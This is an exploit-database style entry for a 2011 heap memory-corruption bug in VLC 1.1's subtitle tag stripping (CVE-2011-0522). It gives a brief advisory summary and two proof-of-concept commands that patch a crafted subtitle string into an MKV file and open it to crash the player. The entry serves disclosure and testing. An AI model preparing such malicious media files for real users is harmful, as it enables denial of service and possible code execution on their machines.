VideoLAN VLC Media Player 1.1 - Subtitle 'StripTags()' Memory Corruption

Author: Harry Sintonen
type: dos
platform: multiple
port: 
date_added: 2011-02-03 
date_updated: 2016-11-15 
verified: 0 
codes: CVE-2011-0522;OSVDB-72906;OSVDB-72905 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source:  https://www.securityfocus.com/bid/46008/info

VLC media player is prone to a heap-based memory-corruption vulnerability.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

An attacker can exploit this issue by enticing an unsuspecting user to open a malicious media file containing malicious subtitles with the vulnerable application.

The following proof-of-concept commands are available:

1. echo -ne '<foo\0crashme' | dd conv=notrunc bs=1 seek=877862 \ of=refined-australia-blu720p-sample.mkv

2. vlc --sub-language English refined-australia-blu720p-sample.mkv